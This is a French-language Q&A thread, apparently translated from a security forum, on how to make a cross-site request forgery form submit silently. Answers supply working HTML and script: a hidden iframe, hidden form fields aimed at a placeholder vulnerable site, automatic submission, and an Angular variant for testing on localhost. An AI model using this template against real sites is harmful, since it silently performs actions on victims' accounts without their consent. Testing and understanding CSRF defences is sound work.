web-dev-qa-db-fra.com

Exemple de soumission silencieuse d'un POST FORM (CSRF)

Je suis intéressé à savoir comment il est possible de soumettre silencieusement un formulaire POST pour CSRF, sans que l'utilisateur en soit averti (l'emplacement du document redirigé vers l'URL POSTed n'est pas silencieux).

Exemple:

<form method='POST' action='http://vulnerablesite.com/form.php'>
<input type='hidden' name='criticaltoggle' value='true'
<input type='submit' value='submit'>
</form>

Sur un site externe, que dois-je faire pour déclencher ce formulaire automatiquement et silencieusement?

23
apscience

Une solution serait d'ouvrir l'action du formulaire dans un cadre comme un iframe:

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='criticaltoggle' value='true'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
49
Gumbo

Lorsque vous testez CSRF localement, vous devrez peut-être surmonter plusieurs mesures de sécurité.

Pour Blocked loading mixed active content erreurs, assurez-vous que le protocole (http/https) du site de l'attaquant et du site cible sont les mêmes, ou utilisez "//" comme protocole pour le site de l'attaquant. Exemple d'attaque sur localhost:

<iframe style="display:none" id="csrf-frame-invisible" name="csrf-frame-invisible"></iframe>
<form style="display:none" method='POST' action='//localhost:4000' target="csrf-frame-invisible" name="csrf-form-invisible" id="csrf-form-invisible">
  <input type='hidden' name='boo' value='true'>
  <input type='submit' value='Submit'>
</form>

Vous pouvez également configurer Firefox security.mixed_content.block_active_content à false.


Si vous utilisez Angular, les options de sécurité vous empêchent d'utiliser le javascript en ligne, vous devrez donc déplacer la soumission vers le code-behind sur le site de l'attaquant:

ngOnInit() {
   const myForm: HTMLFormElement = document.getElementById('csrf-form-invisible') as HTMLFormElement;
   myForm.submit();
}

Enfin, l'en-tête du site de l'attaquant 'x-frame-options' ne doit pas être défini.

2
RJFalconer